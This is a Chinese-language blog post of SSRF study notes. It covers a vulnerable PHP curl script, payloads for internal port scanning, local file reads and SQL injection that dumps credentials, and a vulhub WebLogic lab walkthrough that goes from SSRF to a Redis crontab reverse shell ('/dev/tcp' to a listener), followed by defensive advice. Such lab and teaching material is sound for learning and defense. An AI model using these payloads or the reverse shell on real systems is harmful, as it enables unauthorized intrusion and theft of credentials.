ssrf学习笔记总结

SSRF概述

​ 服务器会根据用户提交的URL 发送一个HTTP 请求。使用用户指定的URL,Web 应用可以获取图片或者文件资源等。典型的例子是百度识图功能。

​ 如果没有对用户提交URL 和远端服务器所返回的信息做合适的验证或过滤,就有可能存在“请求伪造”的缺陷。“请求伪造”,顾名思义,攻击者伪造正常的请求,以达到攻击的目的。如果“请求伪造”发生在服务器端,那这个漏洞就叫做“服务器端请求伪造”,英文名字Server Side Request Forgery,简称SSRF。

​ SSRF 是一种由攻击者发起的伪造服务器发送的请求的一种攻击。

SSRF 场景

php实现

利用curl 实现,需要PHP 扩展组件curl 支持。

// ssrf_curl.php
if(isset($_REQUEST['url'])){$link = $_REQUEST['url'];$fileName = './curled/'.time().".txt";$curlObj = curl_init($link);$fp = fopen($fileName,'w');curl_setopt($curlObj,CURLOPT_FILE,$fp);curl_setopt($curlObj,CURLOPT_HEADER,0);curl_setopt($curlObj,CURLOPT_FOLLOWLOCATION,TRUE);curl_exec($curlObj);curl_close($curlObj);fclose($fp);if(getimagesize($fileName)){header("Content-Type:image/png");}$fp = fopen($fileName,'r');$result = fread($fp,filesize($fileName));fclose($fp);echo $result;
}else{echo "?url=[url]";
}

SSRF 原理

服务器接受了来自于客户端的URL 地址,并由服务器发送该URL 请求。

对用户输入的URL 没有进行恰当的过滤,导致任意URL 输入。

没对响应的结果进行检验,直接输出。

SSRF危害

  • 端口扫描;

  • 内网Web 应用指纹识别;

  • 攻击内网应用;

  • 读取本地文件;

SSRF攻防

SSRF利用

文件访问

?url=http://www.baidu.com
?url=http://www.baidu.com/img/bd_logo.png
?url=http://www.baidu.com/robots.txt

端口扫描

?url=http://127.0.0.1:80
?url=http://127.0.0.1:3306
?url=dict://127.0.0.1:3306
?url=http://10.10.10.1:22
?url=http://10.10.10.1:6379

读取本地文件

?url=file:///c:/windows/system32/drivers/etc/hosts
?url=file:///etc/passwd
?url=file:/c:/www/ssrf/ssrf_curl.php

内网应用指纹识别

有些应用是部署在内网的。

<Directory "c:\www\phpMyAdmin">#Order allow,denyOrder deny,allowdeny from allallow from 127.0.0.1
</Directory>

内网应用指纹识别

?url=http://127.0.0.1/phpmyadmin/readme

攻击内网web应用

内网安全通常都很薄弱。

<Directory "c:\www\cms">#Order allow,denyOrder deny,allowdeny from allallow from 127.0.0.1
</Directory>

通过SSRF 漏洞可以实现对内网的访问,从而可以攻击内网应用。仅仅通过GET 方法可以攻击的内网Web 应用有很多。

?url=http://127.0.0.1/cms/show.php?
id=-33/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,concat(username,0x3a,password),12,13,14,15/**/from/**/cms_
users
?url=http://127.0.0.1/cms/show.php?
id=-33%25%32%30union%25%32%30select%25%32%301,2,3,4,5,6,7,8,9,10,concat(username,0x3a,password),12,13,14,15%25%32
%30from%25%32%30cms_users

SSRF实例

https://vulhub.org/#/environments/weblogic/ssrf/

判断ssrf漏洞

访问

http://10.4.7.137:7001/uddiexplorer/

image-20231117144443232

漏洞存在于http://10.4.7.137:7001/uddiexplorer/SearchPublicRegistries.jsp

提交搜索并抓包

将此处url解码

image-20231117150146479

点击send发送

获取response,然后右键response发送给compare

image-20231117150311468

然后将url修改为百度,再次重复操作

image-20231117151225241

修改url后伪造服务器请求资源,并且收到response,即存在ssrf

探查内网端口开放情况

端口开放时,会返回404相关错误,虽然没有目录,但是能访问服务器

image-20231117151545430

使用localhost也可以

image-20231117151659744

端口未开放时则返回无法连接类错误

image-20231117151838296

探查内网ip

由于已知7001端口开放,因此可以用该端口探测内网中存活的ip

不存在时即返回无法连接

image-20231117152133486

探测内网地址可以使用爆破

从ssrf利用到redis未授权访问

由于这是容器,看一下redis的端口

image-20231117152730010

docker环境的网段一般是172

此处直接看一下配置文件看看ip

sudo docker ps -a

image-20231117160254922

sudo docker exec -it 8 /bin/bash

这个就是ip

image-20231117160340335

验证一下开放没

image-20231117160553260

发现开放

从redis未授权访问到getshell

将脚本写进去

set 1 "\n\n\n\n* * * * * root bash -c sh -i >& /dev/tcp/10.4.7.137/777 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
aaa

圈圈的地方要修改监听ip和监听端口

image-20231117161732114

将脚本文件url编码send,等待一会收到shell

image-20231117161645983

image-20231117161602941

SSRF防御

过滤输入

  • 限制协议,仅允许 http 或 https 协议;(防止使用gopher协议)

  • 限制IP,避免应用被用来获取内网数据,攻击内网;

  • 限制端口,限制请求端口为常用端口。

过滤输出

  • 过滤返回信息,只要不符合要求的,全部过滤;

  • 统一错误信息,让攻击无法对内网信息进行判断。

SSRF挖掘

web功能url关键字
分享
转码服务
在线翻译
图片加载与下载
图片、文章收藏功能
未公开的API实现
share
wap
url
link
src
source
target
u
3g
display
sourceURL
imageURL
domain

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/188386.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【备忘】在Nginx服务器安装SSL证书

您可以在Nginx或Tengine服务器上安装SSL证书&#xff0c;实现通过HTTPS安全访问Web服务器。本文介绍如何为Nginx或Tengine服务器安装SSL证书。 重要 本文以CentOS 8.0 64位操作系统、Nginx 1.14.2为例介绍。不同版本的操作系统或Web服务器&#xff0c;部署操作可能有所差异&a…

零代码编程:用ChatGPT批量转换多个视频文件夹到音频并自动移动文件夹

有很多个视频文件夹&#xff1a; 要全部转成音频&#xff0c;然后复制到另一个文件夹。 在ChatGPT中输入如下提示词&#xff1a; 你是一个Python编程专家&#xff0c;要完成一个批量将Mp4视频转为Mp3音频的任务&#xff0c;具体步骤如下&#xff1a; 打开文件夹&#xff1a;…

2.项目疑问

Day01 1.前后端分离项目的全局异常处理怎么做 使用ControllerAdviceExceptionHandler&#xff08;类.class&#xff09;来实现异常处理 ControllerAdvice: Controller增强器。将异常处理器应用到所有的控制器 ExceptionHandler&#xff1a;异常处理器&#xff0c;只要发生异…

【软件推荐】我的常用Windows软件

文章目录 前言Colors Lite&#xff08;颜色吸取&#xff09;Everything&#xff08;文件搜索&#xff09;知云文献翻译Directory Opus&#xff08;文件管理器&#xff09;Snipaste&#xff08;截图&#xff09;AxMath&#xff08;公式编辑器&#xff09;Deskpin&#xff08;窗口…

深度学习(五)softmax 回归之:分类算法介绍,如何加载 Fashion-MINIST 数据集

Softmax 回归 基本原理 回归和分类&#xff0c;是两种深度学习常用方法。回归是对连续的预测&#xff08;比如我预测根据过去开奖列表下次双色球号&#xff09;&#xff0c;分类是预测离散的类别&#xff08;手写语音识别&#xff0c;图片识别&#xff09;。 现在我们已经对回…

链表(一)----关于单链表的一切细节这里都有

一.链表 1 链表的概念及结构 概念&#xff1a;链表是一种物理存储结构上非连续、非顺序的存储结构&#xff0c;数据元素的逻辑顺序是通过链表中的指针链接次序实现的 。 现实中的链表结构 数据结构中的链表结构 1.链式结构在逻辑上是连续的&#xff0c;但在物理上不一定是…

【图解算法】- 异位词问题:双指针+哈希表

一 - 前言 介绍&#xff1a;大家好啊&#xff0c;我是hitzaki辰。 社区&#xff1a;&#xff08;完全免费、欢迎加入&#xff09;日常打卡、学习交流、资源共享的知识星球。 自媒体&#xff1a;我会在b站/抖音更新视频讲解 或 一些纯技术外的分享&#xff0c;账号同名&#xff…

Linux系统(CentOS7)上安装MYSQL8.x

Linux系统是CentOS7版本&#xff0c;今天在新电脑上安装MYSQL&#xff0c;跟着网上的文章&#xff0c;尝试了好几次&#xff0c;都是启动失败&#xff0c;删了安&#xff0c;安了删&#xff0c;搞了一下午&#xff0c;头昏脑胀&#xff0c;网上的一些文章太乱了&#xff0c;每种…

flink中配置Rockdb的重要配置项

背景 由于我们在flink中使用了状态比较大&#xff0c;无法完全把状态数据存放到tm的堆内存中&#xff0c;所以我们选择了把状态存放到rockdb上&#xff0c;也就是使用rockdb作为状态后端存储,本文就是简单记录下使用rockdb状态后端存储的几个重要的配置项 使用rockdb状态后端…

geoserver点聚合样式sld

【第六章 WebGIS】geoserver生成点聚合效果 - 知乎 需要WPS插件&#xff0c;注意版本要对应 GeoServer&#xff0c;加压缩后的jar包放到geoserver的lib目录下&#xff0c;重启geoserver。 原始默认样式 聚合sld样式 <?xml version"1.0" encoding"ISO-8859…

基于51单片机步进电机节拍步数正反转LCD1602显示( proteus仿真+程序+原理图+设计报告+讲解视频)

基于51单片机步进电机节拍步数正反转LCD1602显示 &#x1f4d1;1. 主要功能&#xff1a;&#x1f4d1;2. 讲解视频&#xff1a;&#x1f4d1;3. 仿真&#x1f4d1;4. 程序代码&#x1f4d1;5. 设计报告&#x1f4d1;6. 设计资料内容清单&&下载链接&#x1f4d1;[资料下…

Appium移动自动化测试--安装Appium

Appium 自动化测试是很早之前就想学习和研究的技术了&#xff0c;可是一直抽不出一块完整的时间来做这件事儿。现在终于有了。 反观各种互联网的招聘移动测试成了主流&#xff0c;如果再不去学习移动自动化测试技术将会被淘汰。 web自动化测试的路线是这样的&#xff1a;编程语…